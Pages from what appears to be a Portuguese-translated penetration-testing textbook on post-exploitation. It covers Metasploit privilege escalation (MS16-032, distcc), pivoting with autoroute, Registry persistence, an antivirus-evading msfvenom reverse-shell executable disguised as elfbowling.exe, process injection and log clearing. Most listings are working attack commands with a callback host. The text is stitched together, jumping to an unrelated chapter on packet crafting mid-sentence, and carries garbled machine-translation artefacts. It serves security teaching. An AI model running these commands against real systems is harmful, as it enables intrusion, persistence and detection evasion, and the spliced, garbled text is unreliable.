de root ou administrador é um objetivo comum para invasores, pois os ajuda a girar para outros sistemas
para se mover lateralmente dentro do ambiente. Você também pode ter uma chance melhor de coletar
senhas e outras informações críticas do sistema que você pode precisar para outras tarefas.
Você não só tem uma posição no sistema, mas esse sistema também lhe dá uma posição na rede. Você
pode descobrir, especialmente se tiver comprometido um sistema que oferece serviços para o mundo
externo, que o sistema está conectado a mais de uma rede. Isso significa que você pode usar o sistema
comprometido como um gateway para essas outras redes. Esta é uma técnica chamada pivoting, onde
você faz um pivot do sistema comprometido para dar uma olhada em outro conjunto de sistemas. Isso o
levará mais para dentro da rede e potencialmente lhe dará informações ainda mais confidenciais ou
acesso a sistemas mais críticos.
Os invasores também tentarão obter acesso persistente ao sistema. Isso pode significar uma série de
atividades, desde a criação de usuários até a instalação de backdoors. Junto com o acesso persistente, o
invasor desejará cobrir seus rastros. Isso pode significar ocultar dados em locais do sistema. Pode significar
manipular logs. Também pode significar manipular binários do sistema para ajudar a ocultar sua existência.
Escalação de privilégios
Sua missão, caso você decida aceitá-la, é obter acesso de nível root. Houve um tempo em que os serviços
eram executados como root em sistemas Unix/Linux ou como LocalSystem em sistemas Windows, que é
uma conta com um nível muito alto de permissões. Depois de obter acesso de nível root, você deve
conseguir obter acesso a todas as informações do sistema, bem como fazer alterações em serviços e
manipular usuários. O que isso significa é que você precisa obter acesso ao sistema primeiro e, em seguida,
precisará executar outro exploit para obter privilégios elevados. Podemos continuar a usar o Metasploit
para isso, então vamos começar com um sistema comprometido com um shell Meterpreter. Se colocarmos
o shell em segundo plano usando ofundo,podemos usar a sessão aberta como uma forma de interagir com
o sistema.
Precisamos identificar um exploit local. Uma maneira de fazer isso é usar o script Python
windows-exploit-suggester.py.Este é um script que pode ser baixado do GitHub. Ele requer algumas
coisas para ser executado além de um interpretador Python. Primeiro, está a saída de
256 Capítulo 7 - Hacking de sistema
systeminfo. O segundo é o banco de dados que contém as informações dos boletins de segurança da Microsoft
(MSSB). Para obter o primeiro, vamos extraí-lo do nosso sistema Windows explorado. Podemos cair para um shell
do Windows a partir do Meterpreter e executar systeminfo, redirecionando a saída para um arquivo, então
podemos extrair esse arquivo de volta para o nosso sistema local. Você pode ver esse processo na listagem a
seguir.
obtendo informações sobre o patch do sistema
meterpreter > concha
Processo 3 criado.
Canal 3 criado.
Microsoft Windows [Versão 6.1.7601] Copyright
(c) 2009 Microsoft Corporation. Todos os direitos reservados.
C:\Arquivos de programas\elasticsearch-1.1.1>systeminfo > patches.txt
systeminfo > patches.txt
C:\Arquivos de programas\elasticsearch-1.1.1>exit
exit
meterpreter > baixar patches.txt
[*] Baixando: patches.txt -> patches.txt
[*] Baixado 2,21 KiB de 2,21 KiB (100,0%): patches.txt -> patches.txt [*] download :
patches.txt -> patches.txt
Depois que tivermos as informações do patch, podemos prosseguir para o uso do windows-exploit-
suggester. Obteremos um banco de dados MSSB atualizado e, em seguida, executaremos o script com
nossos dois arquivos, procurando por exploits locais. Você pode ver a execução do script na próxima
listagem de código. O que obteremos é uma lista de exploits locais que podem ser executados em nosso
sistema comprometido. Ele não fornece detalhes sobre os módulos do Metasploit, o que significa que ainda
precisaremos fazer algumas pesquisas sobre isso. No entanto, ele fornece recursos se você quiser saber
mais sobre as vulnerabilidades e o exploit.
obtendo sugestões de exploração local
root@quiche:~# ./windows-exploit-suggester.py--update
[*] iniciando winsploit versão 3.3...
[+] escrevendo para arquivo 2018-09-09-mssb.xls
[*] feito
root@quiche:~# ./windows-exploit-suggester.py -i patches.txt -d 2018-09-09-mssb.xls -l
[*] iniciando winsploit versão 3.3...
[*] arquivo de banco de dados detectado como xls ou xlsx com base na extensão
[*] tentando ler o arquivo de entrada systeminfo
[+] arquivo de entrada systeminfo lido com sucesso (ascii)
[*] consultando arquivo de banco de dados para vulnerabilidades potenciais
Pós-exploração 257
[*] comparando os 2 hotfixes com os 407 boletins potenciais com um banco de dados de 137 exploits conhecidos
[*] agora existem 407 vulnerabilidades restantes
[*] procurando apenas por exploits locais
[+] [E] exploitdb PoC, [M] módulo Metasploit, [*] boletim ausente
[+] versão do Windows identificada como 'Windows 2008 R2 SP1 64 bits'
[*]
[M] MS16-075: Atualização de segurança para Windows SMB Server (3164038) - Importante
[*]
[*]
https://github.com/foxglovesec/RottenPotato
https://github.com/Kevin-Robertson/Tater
https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: NTLM WebDAV local[*]
Reflexão Elevação de Privilégio
- - - recorte ---
[E] MS14-026: Vulnerabilidade no .NET Framework pode permitir elevação de privilégio (2958732) - Importante
[*]
[*]
[*] feito
http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Execução de comando remoto, PoC
Alguns dos exploits sugeridos não serão executados no Windows no Windows (WoW) 64. Este é um
subsistema que permite que executáveis do Windows de 32 bits sejam executados em instalações do
Windows de 64 bits. O exploit precisaria da capacidade de ser executado dentro deste subsistema e ainda
ser capaz de explorar a vulnerabilidade. Como há uma camada adicional de software no Windows de 64
bits, alguns exploits simplesmente não funcionarão. Usaremos a vulnerabilidade MS16-032. Precisamos
identificar o módulo Metasploit associado a essa vulnerabilidade, o que significa que podemos apenas
procurar pela vulnerabilidade da Microsoft, como você pode ver na listagem de código a seguir. A busca
pela vulnerabilidade retorna um único módulo.
Procurando por exploração local
msf exploit(windows/local/ms15_051_client_copy_image) > pesquisar MS16-032
Módulos correspondentes
================
Nome
- - - -
Data de divulgação
- - - - - - - - - - - - - - -
2016-03-21
Classificação
- - - -
normal
Descrição
- - - - - - - - - - -
MS16-032Exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Escalonamento de privilégios do identificador de logon secundário
explorar(windows/local/ms15_051_client_copy_image) > usar explorar/windows/local/
ms16_032_secondary_logon_handle_privesc
Tenha em mente que neste ponto, temos uma sessão aberta para nosso sistema alvo. Para usar o
exploit local, precisamos definir o número da sessão que temos aberta. Se você precisa saber qual número
de sessão usar porque perdeu o controle, você pode simplesmente usar osessões
258 Capítulo 7 - Hacking de sistema
comando depois de colocar em segundo plano a sessão do Meterpreter em que estava. Este é um
parâmetro que você precisará definir, bem como definir a carga útil e o host local e a porta necessários
para o shell do Meterpreter reverso. Você pode ver a configuração de todas as variáveis necessárias e, em
seguida, iniciar o exploit.
usando exploração local do metasploit
msf exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > definir SESSÃO 2
SESSÃO => 2
msf exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > definir LHOST 192.168.86.57
LHOST => 192.168.86.57
msf exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > definir LPORT 4445
LPORTO => 4445
exploração msf(windows/local/ms16_032_secondary_logon_handle_privesc) > exploração
[*] Iniciado manipulador TCP reverso em 192.168.86.57:4445
[!] Executando carga útil de 32 bits em ARCH de 64 bits, usando SYSWOW64 powershell
[*] Escrevendo arquivo de carga útil, C:\ManageEngine\DesktopCentral_Server\bin\ROayyKQ.txt...
[*] Compactando conteúdo do script...
[+] Tamanho comprimido: 3621
[*] Executando script de exploração...
Em alguns casos, não podemos usar o Metasploit. Precisamos usar algumas ferramentas externas. Isso pode
significar compilar um programa de exploração. Na próxima listagem de código, você verá o comprometimento
de um sistema Linux usando uma vulnerabilidade em um daemon de compilador C distribuído. Isso usa um
módulo Metasploit para executar a exploração inicial. A escalada de privilégios requer que um programa C seja
compilado para que ele seja executado no sistema de destino. Como não podemos garantir que haja um
compilador C, o programa é compilado no sistema de ataque. Nosso alvo é de 32 bits, enquanto nosso sistema de
ataque é de 64 bits. Isso significa que precisamos ter um conjunto especial de bibliotecas para que possamos
compilar de uma arquitetura de destino para outra. Assim que tivermos a saída, no entanto, podemos colocá-la e
um script de shell simples no diretório, onde estará disponível em um servidor web. Nesta listagem, você verá a
exploração do sistema de destino e, em seguida, a execução da escalada de privilégios.
escalonamento de privilégios linux
msf > usar exploit/unix/misc/distcc_exec
exploração msf (unix/misc/distcc_exec) > definir RHOST 192.168.86.66
RHOST => 192.168.86.66
msf exploit(unix/misc/distcc_exec) > exploração
[*] Iniciado manipulador duplo TCP reverso em 192.168.86.57:4444 [*]
Aceita a primeira conexão de cliente...
[*] Aceitou a segunda conexão do cliente...
Pós-exploração 259
[*] Comando: echo 9LVs5a2CaAEk29pj; [*]
Escrevendo no soquete A
[*] Escrevendo no soquete B [*]
Lendo dos soquetes... [*] Lendo do
soquete B [*] B:
"9LVs5a2CaAEk29pj\r\n" [*]
Correspondendo...
[*] A é entrada...
[*] Sessão de shell de comando 1 aberta (192.168.86.57:4444 -> 192.168.86.66:47936) em
2018-09-09 18:28:22 -0600
Uau!
demônio
cd /tmp
ps auxww | grep udev
raiz
- - daemon
2663 0,0 0,1 2216 700 ? SO sistema em questão é um sistema Windows e
tem duas interfaces. Uma está na rede 192.168.86.0, que é a interface na qual o exploit entrou. A outra
interface, chamada Interface 19 na listagem, está na rede 172.30.42.0. Esta é a rede que queremos atingir,
mas não podemos simplesmente carregar um monte de ferramentas de ataque para o sistema
comprometido. Em vez disso, precisamos ser capazes de passar o tráfego do nosso sistema de ataque
através do sistema comprometido e para a rede à qual ele está conectado.
Configuração de endereço IP
meterpreter > getuid
Nome de usuário do servidor: NT AUTHORITY\LOCAL
SERVICE meterpreter > ipconfig
Interface 1
============
Nome
Hardware MAC: 00:00:00:00:00:00
MTU : 4294967295
Endereço IPv4: 127.0.0.1
Máscara de rede IPv4:
255.0.0.0 Endereço IPv6: ::1
Máscara de rede IPv6: ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
: Interface de loopback de software 1
Interface 12
============
Nome
Hardware MAC: 00:00:00:00:00:00
MTU : 1280
Endereço IPv6: fe80::5efe:c0a8:5621
Máscara de rede IPv6: ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
: Adaptador Microsoft ISATAP
Pós-exploração 261
Interface 13
============
Nome
Hardware MAC: 1e:25:07:dc:7c:6e
MTU : 1500
Endereço IPv4: 192.168.86.33
Máscara de rede IPv4: 255.255.255.0
Endereço IPv6: fe80::35b1:1874:3712:8b59
Máscara de rede IPv6: ffff:ffff:ffff:ffff::
: Conexão de rede Intel(R) PRO/1000 MT
Interface 19
============
Nome
Hardware MAC: 42:39:bd:ec:24:40
MTU : 1500
Endereço IPv4: 172.30.42.50 Máscara
de rede IPv4: 255.255.255.0
Endereço IPv6: fe80::4b4:7b9a:b3b7:3742
Máscara de rede IPv6: ffff:ffff:ffff:ffff::
: Conexão de rede Intel(R) PRO/1000 MT nº 2
Para adicionar a rota que precisamos para passar o tráfego para a sub-rede 172.30.42.0,
precisamos executar um módulo post-exploit. O módulo que vamos executar é chamado autoroute,
e ele cuidará de adicionar a rota para essa rede por meio da sessão que temos aberta. Na listagem a
seguir, você pode ver a execução do módulo autoroute. Você verá a saída indicando que a rota foi
adicionada como resultado da execução do módulo.
executando autoroute
meterpreter > executar post/multi/gerenciar/autoroute SUBNET=172.30.42.0 ACTION=ADD
[!] SESSION pode não ser compatível com este módulo. [*]
Executando módulo contra VAGRANT-2008R2
[*] Adicionando uma rota para 172.30.42.0/255.255.255.0... [+]
Rota adicionada à sub-rede 172.30.42.0/255.255.255.0.
Agora que a rota está pronta, queremos usá-la. Podemos colocar a sessão do Meterpreter em
segundo plano neste ponto e executar qualquer módulo que escolhermos nessa rede. Por exemplo,
não seria incomum executar uma varredura de porta nessa rede. No código a seguir, você pode ver
a tabela de roteamento sendo verificada de fora do Meterpreter depois que a sessão é colocada em
segundo plano (você pode colocar o Meterpreter em segundo plano usando o
fundocomando ou digitando Ctrl+Z). A tabela de roteamento mostra que temos uma rota para o
262 Capítulo 7 - Hacking de sistema
Rede 172.30.42.0 através da Sessão 1, que é a sessão Meterpreter que temos aberta. Abaixo
disso, o módulo de varredura de porta é carregado para rodar contra essa rede.
msf exploit(windows/http/manageengine_connectionid_write) > rota imprimir
Tabela de roteamento ativo IPv4
=========================
Sub-rede
- - - - - -
172.30.42.0
Máscara de rede
- - - - - - -
255.255.255.0
Porta de entrada
- - - - - - -
Sessão 1
[*] Atualmente não há rotas IPv6 definidas.
msf exploit(windows/http/manageengine_connectionid_write) >
msf exploit(windows/http/manageengine_connectionid_write) > usar auxiliar/scanner/
portscan/tcp
msf auxiliar(scanner/portscan/tcp) > definir RHOSTS 172.30.42.0/24
RHOSTS => 172.30.42.0/24
msf auxiliar(scanner/portscan/tcp) > executar
Depois de ter uma ideia de quais outros sistemas estão na outra rede, você pode começar a
procurar vulnerabilidades nesses sistemas. Pivotar é pegar um sistema comprometido e usá-lo
para obter acesso a outros sistemas, ou seja, pivotar para esses sistemas. Depois de ter suas
rotas de rede em vigor, você está em boa forma para realizar esse pivotamento para poder
estender seu alcance na rede.
Persistência
Obter acesso é importante porque demonstra que você pode comprometer sistemas e obter acesso a
informações confidenciais. Esta é uma boa maneira de mostrar à organização com a qual você está
trabalhando onde alguns de seus problemas podem estar. No entanto, os invasores não querem ter que
continuar explorando a mesma vulnerabilidade toda vez que desejam acessar o sistema. Para começar, é
demorado. Segundo, se o invasor, mesmo que seja um falso invasor (ou seja, você), estiver explorando uma
vulnerabilidade, ele não pode ter certeza de que a vulnerabilidade não será corrigida. Isso significa que eles
podem não conseguir entrar mais tarde. Coletar informações provavelmente não é uma situação única.
Claro, em um ambiente corporativo, os dados estão constantemente mudando. Não importa qual seja o
objetivo do invasor, ele geralmente desejará manter o acesso aos sistemas comprometidos.
O processo de manutenção de acesso é chamado de persistência. O acesso ao sistema é persistente ao longo
do tempo e, idealmente, em reinicializações do sistema. Não importa o que aconteça, idealmente,
Pós-exploração 263
o invasor ainda pode entrar no sistema quando quiser. Existem várias técnicas para isso. Se um sistema
tiver acesso remoto, como Secure Shell (SSH) ou área de trabalho remota em sistemas Windows, o invasor
pode simplesmente criar um novo usuário que tenha a capacidade de fazer login remotamente. Se o
usuário comprometido alterar sua senha ou a conta de usuário for removida, o novo usuário estará
disponível para o invasor.
Outra opção é instalar um software que alcance o sistema do invasor. Essa é geralmente a melhor
abordagem, porque provavelmente há firewalls em vigor que bloquearão tentativas de conexão de
entrada, mas conexões de saída são geralmente permitidas. Então, podemos instalar um pacote de shell
reverso e ele se conectará ao nosso sistema se tivermos um manipulador esperando para ouvir. Na
listagem a seguir, você pode ver começando de uma sessão do Meterpreter e instalando um programa
para iniciar quando um usuário faz login. Esse mecanismo de persistência em particular usa o Registro para
armazenar a carga útil. Uma chave Run em HKEY_CURRENT_USER no Registro é então carregada para
chamar a carga útil.
persistência de registro do metasploit
meterpreter > getuid
Nome de usuário do servidor: NT AUTHORITY\LOCAL SERVICE
meterpreter > background
[*] Sessão de fundo 1...
msf exploit(windows/http/manageengine_connectionid_write) > usar exploit/windows/local/
registry_persistence
msf exploit(windows/local/registry_persistence) > definir SESSÃO 1 SESSÃO
=> 1
msf exploit(windows/local/registry_persistence) > exploração
[*] Gerando blob de carga útil.. [+]
Carga útil gerada, 5968 bytes [*]
Caminho raiz é HKCU
[*] Instalando blob de carga útil.
[+] Chave de registro criada HKCU\Software\hO2pqzTh
[+] Blob de carga útil instalado em HKCU\Software\hO2pqzTh\kASCvdW3 [*]
Instalando chave de execução
Este processo usa o Registro para armazenar um blob executável sem controle sobre o que é
armazenado lá e executado. Você também pode criar seu próprio executável para o qual também
pode usar a técnica do Registro. Você só não poderá usar o módulo mostrado acima. Para criar seu
próprio executável autônomo, você pode usar o programa msfvenom, que faz parte do Metasploit.
Na listagem de código a seguir, você pode ver um exemplo de uma execução do msfvenom. Isso
pega o payload windows/meterpreter/reverse_tcp, que envia de volta uma conexão para um shell
Meterpreter para o endereço IP especificado.
264 Capítulo 7 - Hacking de sistema
usando msfvenom para criar carga útil autônoma
root@quiche:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.86.57
LPORT=3445 -f exe -e x86/shikata_ga_nai -a x86 -i 3 -o elfbowling.exe
[-] Nenhuma plataforma foiselecionada, escolhendo
Msf::Module::Platform::Windows da carga útil
Foram encontrados 1 codificadores compatíveis
Tentando codificar a carga útil com 3 iterações de x86/shikata_ga_nai x86/
shikata_ga_nai teve sucesso com tamanho 368 (iteração=0) x86/shikata_ga_nai
teve sucesso com tamanho 395 (iteração=1) x86/shikata_ga_nai teve sucesso
com tamanho 422 (iteração=2) x86/shikata_ga_nai escolhido com tamanho final
422
Tamanho da carga útil: 422 bytes
Tamanho final do arquivo exe: 73802 bytes
Salvo como: elfbowling.exe
root@quiche:~# ls -la elfbowling.exe
- rw-r--r-- 1 root root 73802 12 de set. 17:58 elfbowling.exe
Muito do que você vê nos parâmetros da linha de comando é bem direto. Estamos criando um .
exearquivo para um sistema Windows x86 de 32 bits. A carga útil fará uma conexão com
192.168.86.57 na porta 3445. Para usar o Meterpreter no sistema de destino, você precisaria iniciar
um manipulador. Como um retorno a alguns jogos bobos de algumas décadas atrás, eu o chamei de
elfbowling.exe.Talvez qualquer um que o visse não pensaria muito nisso. Além de agrupar a carga útil
em um .exearquivo em um formato executável portátil adequado, o .exetambém é codificado. O
motivo da codificação é escondê-lo de programas antivírus.
Existem outras maneiras de criar uma conexão persistente. Outra é usar o Metsvc. Este é o serviço
Meterpreter. Ele cria um listener, por padrão na porta 31337, que pode ser conectado para obter um
shell Meterpreter. Você notará que o Metasploit menciona que os scripts Meterpreter estão
obsoletos. Em vez disso, devemos carregar módulos e usá-los. No entanto, no momento, o serviço
Meterpreter funciona e pode ser usado para obter acesso, desde que você possa se conectar à porta
especificada por meio de quaisquer firewalls que possam estar em vigor.
Criando serviço meterpreter no alvo
meterpreter > executar metsvc
[!] Os scripts Meterpreter estão obsoletos. Tente post/windows/manage/persistence_exe. [!]
Exemplo: execute post/windows/manage/persistence_exe OPTION=value [...]
[*] Criando um serviço meterpreter na porta 31337
[*] Criando um diretório de instalação temporário C:\Windows\SERVIC~2\LOCALS~1\
AppData\Local\Temp\KrUjwJQb...
[*]
[*]
[*]
[*] Iniciando o serviço...
> > Carregando metsrv.x86.dll...
> > Carregando metsvc-server.exe...
> > Carregando metsvc.exe...
Pós-exploração 265
Conforme observado, o serviço Meterpreter espera que você possa se conectar de entrada. Além
disso, o script do serviço Meterpreter está obsoleto e pode ser removido do Metasploit em breve. Em
vez disso, podemos usar o módulo que o Metasploit nos indica. Na próxima listagem de código, você
verá o uso desse módulo. Ele requer que você tenha um executável para carregar e instalar no
sistema de destino. O que é fornecido aqui é a saída da criação de payload acima. Este foi o
executável Meterpreter reverso criado a partir do msfvenom. Você verá que o Meterpreter carrega o
payload para o sistema de destino e cria um executável de persistência. As entradas do Registro são
então criadas para executar automaticamente o executável de persistência quando o usuário faz
login. Você pode ver isso na referência ao HKCU, que é HKEY_CURRENT_USER, o local no Registro que
tem tudo relacionado ao usuário conectado.
usando o módulo metasploit para persistência
meterpreter > executar post/windows/manage/persistence_exe REXEPATH=/root/elfbowling.exe
[*] Executando módulo contra VAGRANT-2008R2
[*] Lendo Payload do arquivo /root/elfbowling.exe
[+] Script persistente escrito em C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\
default.exe
[*] Executando script C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\default.exe [+]
Agente executado com PID 5672
[*] Instalando em execução automática como HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
qWQPRsRzw
[+] Instalado em execução automática como HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
qWQPRsRzw
[*] Arquivo RC do Meterpreter de limpeza: /root/.msf4/logs/persistence/
VAGRANT-2008R2_20180912.4749/VAGRANT-2008R2_20180912.4749.rc
Isso nos dá muitas maneiras de manter o acesso aos sistemas de destino após o ponto de
entrada inicial. Você pode ter notado, no entanto, que esses mecanismos de persistência
introduzem arquivos e entradas do Registro no sistema de destino. Essas ações e artefatos podem
ser detectados, assumindo que haja mecanismos de detecção no endpoint ou que alguém esteja
prestando atenção às atividades no endpoint. Isso é uma consideração. Conforme você investiga
seus endpoints, pode notar se há detecção de malware ou outros tipos de software de detecção no
alvo.
Cobrindo Trilhas
Sempre que você obtém acesso a um sistema como parte de um teste de penetração ou avaliação de segurança,
você estará deixando pegadas. O ato de fazer login em um sistema deixa uma entrada de log para trás. Quaisquer
arquivos ou outros artefatos que possam precisar ser deixados no sistema têm o potencial de serem localizados e
sinalizados como maliciosos. Isso significa a possibilidade de ter suas ações investigadas e seu ponto de apoio
removido. Você teria que começar tudo de novo contra um alvo que está colocando obstáculos adicionais para
você superar. Isso significa que você precisa ficar bom em encobrir sua existência da melhor forma possível.
266 Capítulo 7 - Hacking de sistema
No entanto, há muitos aspectos de ocultar e cobrir rastros. Para começar, uma vez que você tenha acesso ao
sistema, você provavelmente está criando logs. Os logs podem precisar ser ajustados. Você pode precisar criar
arquivos. Por exemplo, você quer colocar uma carga útil no sistema de destino. Isso geralmente significa um
arquivo no sistema de arquivos. Você precisa de uma boa maneira de ocultar qualquer arquivo que você colocar no
sistema. Uma vez que você tenha um executável, você vai querer executá-lo. Isso significa que a tabela de
processos terá evidências da execução do processo. Qualquer um que olhar para a tabela de processos verá isso,
causando alguma investigação, mesmo que seja apenas o usuário bisbilhotando um pouco.
Às vezes, cobrir rastros pode causar um pouco de obscuridade. Você torna algo um pouco mais difícil
de encontrar ou entender. É um pouco como tentar se esconder em um campo aberto. Você precisa fazer o
seu melhor para se cobrir, mas alguém que esteja procurando vai te encontrar.
Rootkits
A tabela de processos é, francamente, o artefato mais difícil de abordar. O motivo é que a tabela de
processos é armazenada no espaço do kernel. Para fazer qualquer coisa com a tabela de processos, você
precisa ter a capacidade de ocultar algo que esteja no espaço do kernel. Com a maioria dos sistemas
operacionais modernos, há um modelo de anel quando se trata de segurança e privilégios. O nível mais
alto de permissões que você pode obter é o anel 0, o que significa que você está no espaço do kernel. O
kernel precisa de controle completo do sistema porque ele interage com o hardware. Nenhum outro
aspecto ou elemento do ambiente operacional interage com o hardware ou o número de componentes que
o kernel precisa.
A interação com o kernel passa por interfaces de programação de aplicativos (APIs). A solicitação
é feita ao kernel por meio da API, que atende à solicitação e retorna o resultado ao processo que
emitiu a solicitação. O que tudo isso significa é que, para manipular qualquer coisa no espaço do
kernel, como a tabela de processos, você precisa fazer uma solicitação ao kernel por meio de uma
função de API existente ou precisa estar no espaço do kernel. Como a única maneira de manipular a
tabela de processos de fora do kernel é criar e matar processos, você não pode realmente esconder
a existência do processo de nenhum lugar além do kernel.
Frequentemente, os invasores manipulam o que os usuários podem ver usando uma coleção de software
chamada rootkit. Um rootkit pode conter um módulo ou driver de modo kernel que filtrará os resultados da
tabela de processos. Este rootkit precisaria saber quais sãoos nomes ou propriedades dos processos que vêm
com o rootkit para que eles possam ser filtrados. Um rootkit também pode conter binários de substituição que
filtrarão de forma semelhante os resultados da listagem de arquivos para que qualquer pessoa que use os
binários do sistema não saiba que há arquivos no sistema de arquivos relacionados à infecção/comprometimento.
Infelizmente, rootkits não são algo que vem com o Metasploit ou outras ferramentas de ataque.
Em vez disso, o Metasploit usa táticas como codificação de processo para escapar dos scanners de
malware, tornando mais difícil para esses scanners identificarem o software que você está injetando.
Além disso, se você tiver controle sobre o nome do executável que está executando, alterá-lo para
algo que não seja suspeito pode ajudar a manter o processo protegido. Se você fosse, por exemplo,
nomeá-lolsass.exe,qualquer um que olhasse veria isso e não pensaria muito nisso, porque é um
processo comum visto em um sistema Windows.
Pós-exploração 267
Injeção de Processo
Como não queremos deixar nenhum processo por aí que possa ser rastreado até nós, podemos pensar em
usar outro espaço de processo. Uma maneira de fazer isso é injetar código em um processo existente. A
ideia da injeção de processo é pegar o código que o invasor quer executar e injetá-lo em um processo
existente. Depois que o código é injetado no processo, o invasor precisa fazê-lo executar, o que pode ser
feito iniciando um novo thread que usa o código injetado. Isso é feito em um sistema Windows obtendo o
identificador do processo e, em seguida, usando o identificador para alocar memória no processo de
destino. Um identificador, da perspectiva da API do Windows, é essencialmente um ponteiro para a entrada
do processo na tabela de processos.
Uma vez que o invasor tenha o identificador e tenha o código injetado no espaço do processo, esse código pode
ser executado. Isso significa que o código está sendo executado dentro do espaço do processo do processo alvo. O
código está efetivamente escondido dentro desse novo processo. Por exemplo, na listagem a seguir, você pode ver
um módulo Metasploit que injeta código em um processo que foi especificado como um parâmetro para o módulo.
O processo selecionado é o processo postgres, o que significa que o código shell está sendo executado no espaço
do processo do servidor de banco de dados. A carga útil que está sendo executada será vinculada a uma porta TCP
cujo valor padrão é a porta 4444, já que nenhum outro valor foi especificado como um parâmetro.
módulo de injeção de processo
meterpreter > executar post/windows/manage/multi_meterpreter_inject PID=3940
PAYLOAD=windows/shell_bind_tcp
[*] Executando módulo contra VAGRANT-2008R2
[*] Criando um stager de meterpreter reverso: LHOST=192.168.86.57 LPORT=4444 [+]
Iniciando o Notepad.exe para abrigar a sessão do Meterpreter.
[+] Processo criado com pid 1296
[*] Injetando meterpreter no processo ID 1296
[*] Memória alocada no endereço 0x00170000, para o stager de 328 bytes
[*] Escrevendo o stager na memória...
[+] Meterpreter injetado com sucesso no processo: 1296
msf > connect 192.168.86.25 4444 [*]
Conectado a 192.168.86.25:4444 Microsoft
Windows [Versão 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Todos os direitos reservados.
C:\ManageEngine\DesktopCentral_Server\bin>
Após a conclusão da injeção do processo, você pode ver o Metasploit sendo usado, em uma
sessão separada, para conectar ao sistema remoto, onde obtemos um shell de prompt de
comando. Outra técnica que podemos usar, que é semelhante, é migrar nossa conexão inicial para
outro processo. Você pode ver essa técnica na listagem a seguir. O módulo migrate será iniciado
268 Capítulo 7 - Hacking de sistema
um novo processo que incluirá o payload do Meterpreter ao qual estamos conectados. Você verá que
começamos em um processo Java Server Pages (jsp). Assim que a migração for concluída, estaremos
executando dentro do contexto de umbloco de notas.exeprocesso. Isso é feito injetando código no processo
do bloco de notas.
migração de processos com meterpreter
meterpreter > executar post/windows/manage/migrate
[*] Executando módulo contra VAGRANT-2008R2 [*]
Processo atual do servidor: NepqI.jsp (5624) [*]
Gerando processo notepad.exe para migrar para [+]
Migrando para 6012
[+] Migrado com sucesso para o processo 6012
meterpreter >
O que alcançamos por meio do uso da migração de processos é, esperançosamente, evitar a detecção
por soluções de proteção de endpoint. Qualquer ação que ocorra será feita a partir do espaço de processo
de um processo existente e não suspeito, mesmo que os comportamentos possam ser suspeitos. Assim
como com outras técnicas discutidas neste capítulo, a ideia importante é evitar ser detectado. Executar
código malicioso em um processo que não ganhará muito em termos de notificação é uma boa maneira de
manter o acesso sem ser detectado.
O Windows não é o único sistema operacional em que a injeção de processo pode
ocorrer. Em sistemas Linux e MacOS, por exemplo, você pode sobrescrever o local
esperado para bibliotecas dinâmicas usando variáveis de ambiente como
LD_PRELOAD no Linux ou DYLD_INSERT_LIBRARIES no MacOS. Isso coloca o local das
bibliotecas do invasor à frente do caminho do sistema, garantindo que elas sejam
carregadas.
Manipulação de Log
As informações registradas podem ser uma proposta de acerto ou erro. Em alguns casos, você encontrará alvos
que registram quase nada. O que eles registram não é mantido em nenhum outro lugar além do sistema. Isso
significa que se alguém pensar em procurar, o único lugar onde conseguirá encontrar alguma informação é no
sistema local. Algumas organizações planejam incidentes e garantem que não apenas tenham políticas de registro
sólidas em vigor, mas também que estejam armazenando os registros do sistema em um local central, o que
significa que qualquer coisa que você fizer com os registros no sistema local não terá impacto porque o lugar para
onde qualquer investigador irá é o repositório de registros central e, muito provavelmente, uma ferramenta de
pesquisa de registros como ElasticStack ou Splunk.
Uma maneira fácil de lidar com quaisquer logs no alvo é simplesmente limpá-los. Isso significa
que você apagará todas as entradas no caso dos logs de eventos em um sistema Windows ou
apenas excluirá os arquivos de log no caso de um sistema Linux ou Unix. Podemos retornarse for realmente uma vulnerabilidade, você precisará ter documentação para
apresentar à empresa ou organização com a qual está trabalhando.
A varredura de vulnerabilidades é apenas um estágio no teste. Não é o fim. Vulnerabilidades devem
sempre ser verificadas. Além disso, se você espera identificar o máximo de vulnerabilidades possível,
precisará passar a explorar essas vulnerabilidades na esperança de identificar mais. Embora isso possa
exigir o uso de ferramentas de exploração como o Metasploit ou mesmo ferramentas desenvolvidas sob
medida, pode ser que você precise criar um pacote que tenha uma aparência específica. Não importa
quais sejam as descobertas, elas precisam ser verificadas antes de serem apresentadas como
descobertas.
Criação e manipulação de pacotes
Quando você está enviando dados pela rede, há um caminho claro que ele segue antes de sair da
interface de rede no seu sistema. Nós já abordamos isso, até certo ponto, falando sobre o modelo Open
Systems Interconnection (OSI). Digamos que você esteja visitando uma página da web. Você insere uma
URL na barra de endereços. Seu navegador pega a entrada e cria os cabeçalhos de solicitação HTTP que
são necessários para enviar ao servidor. Para simplificar, pularemos as partes de criptografia e falaremos
apenas sobre como o pacote completo é montado.
O aplicativo faz uma solicitação ao sistema operacional para abrir uma conexão com o servidor.
Isso aciona o sistema operacional para construir um pacote usando informações fornecidas pelo
aplicativo. Isso inclui o nome do host ou endereço IP, bem como o número da porta. A menos que
seja fornecido de outra forma, o número da porta será o padrão 80 ou 443, dependendo se a
comunicação é HTTPS ou HTTP. Essas informações permitirão que o sistema operacional crie os
cabeçalhos necessários para TCP e IP, camadas 4 e 3.
Tudo isso quer dizer que o aplicativo inicia solicitações com base na interação do usuário. Ele
segue um caminho claro, e as informações colocadas nos cabeçalhos necessários para cada
protocolo são coerentes e facilmente rastreadas até a fonte original das informações. Às vezes,
porém, você pode precisar enviar dados que não seguem um caminho coerente. Poderia
178 Capítulo 5 - Redes de digitalização
seja que você precise manipular cabeçalhos com dados que normalmente não seriam encontrados nos campos de
cabeçalho. Cada campo de cabeçalho tem um tamanho conhecido e é binário, o que significa que você não vai
enviar um caractere em vez de um número, por exemplo. Nada nos cabeçalhos de rede, olhando para as camadas
4 e abaixo com certeza, são dados que passariam por uma decodificação ASCII para serem convertidos em dados
de caractere.
